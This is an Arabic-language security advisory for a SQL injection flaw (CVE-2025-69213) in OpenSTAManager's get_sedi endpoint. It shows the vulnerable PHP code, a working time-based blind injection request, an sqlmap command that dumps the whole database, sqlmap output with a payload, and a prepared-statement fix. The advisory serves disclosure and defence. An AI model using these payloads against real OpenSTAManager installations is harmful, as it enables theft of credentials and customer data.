CVE-2025-69213: يحتوي OpenSTAManager على ثغرة حقن SQL في ajax_complete.php (نقطة نهاية get_sedi)

نظرة عامة

المنتجات المتأثرة

• devcode-it/openstamanager (الإصدارات: <= 2.9.8)

تصنيف CWE

• CWE-89: تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر SQL ('حقن SQL')

التفاصيل

الملخص

توجد ثغرة حقن SQL في نقطة نهاية ajax_complete.php عند معالجة عملية get_sedi. يمكن لمهاجم مُصادَق عليه حقن كود SQL خبيث عبر معامل idanagrafica، مما يؤدي إلى وصول غير مصرح به إلى قاعدة البيانات.

إثبات المفهوم

الكود المعرض للثغرة

الملف: modules/anagrafiche/ajax/complete.php:28

case 'get_sedi':
    $idanagrafica = get('idanagrafica');
    $q = "SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione 
          FROM an_sedi 
          WHERE idanagrafica='".$idanagrafica."' ...";
    $rs = $dbo->fetchArray($q);

تدفق البيانات

1. المصدر: $_GET['idanagrafica'] → get('idanagrafica')
2. الموضع القابل للاستغلال: يتم ربط إدخال المستخدم مباشرةً في استعلام SQL بعلامات اقتباس مفردة
3. المصب: ينفذ $dbo->fetchArray($q) الاستعلام الخبيث

الاستغلال

إثبات مفهوم يدوي (حقن SQL أعمى قائم على الوقت):

GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>

الاستغلال عبر SQLMap:

sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \
  --cookie="PHPSESSID=<session>" \
  --dbms=MySQL \
  --technique=T \
  --level=3 \
  --dump

مخرجات SQLMap:

[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF
back-end DBMS: MySQL >= 5.0.12

التأثير

• سرقة البيانات: استخراج كامل لقاعدة البيانات بما في ذلك بيانات اعتماد المستخدمين وبيانات العملاء والسجلات المالية
• تصعيد الامتيازات: تعديل جدول zz_users للحصول على وصول إداري
• سلامة البيانات: تعديل أو حذف غير مصرح به للسجلات
• تنفيذ أكواد عن بُعد محتمل (RCE): عبر SELECT ... INTO OUTFILE إذا كانت صلاحيات الملفات تسمح بذلك

الإصدارات المتأثرة

• OpenSTAManager: تم التحقق في أحدث إصدار (حتى ديسمبر 2025)
• جميع الإصدارات التي تستخدم نقطة النهاية هذه متأثرة على الأرجح

المعالجة

استبدل الدمج المباشر بعبارات مُعدّة مسبقًا (prepared statements):

قبل:

$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";

بعد:

$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";

المراجع

• حقن SQL في OWASP: https://owasp.org/www-community/attacks/SQL_Injection
• CWE-89: تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر SQL

الإشادة

اكتشفها: Łukasz Rybak

المراجع

• https://github.com/devcode-it/openstamanager/security/advisories/GHSA-w995-ff8h-rppg
• https://nvd.nist.gov/vuln/detail/CVE-2025-69213
• https://github.com/advisories/GHSA-w995-ff8h-rppg

إخلاء المسؤولية

تم الإفصاح عن هذه الثغرة (CVE) بمسؤولية وفقًا لممارسات الإفصاح المنسق عن الثغرات الأمنية. المعلومات الواردة هنا مخصصة للأغراض التعليمية والدفاعية فقط.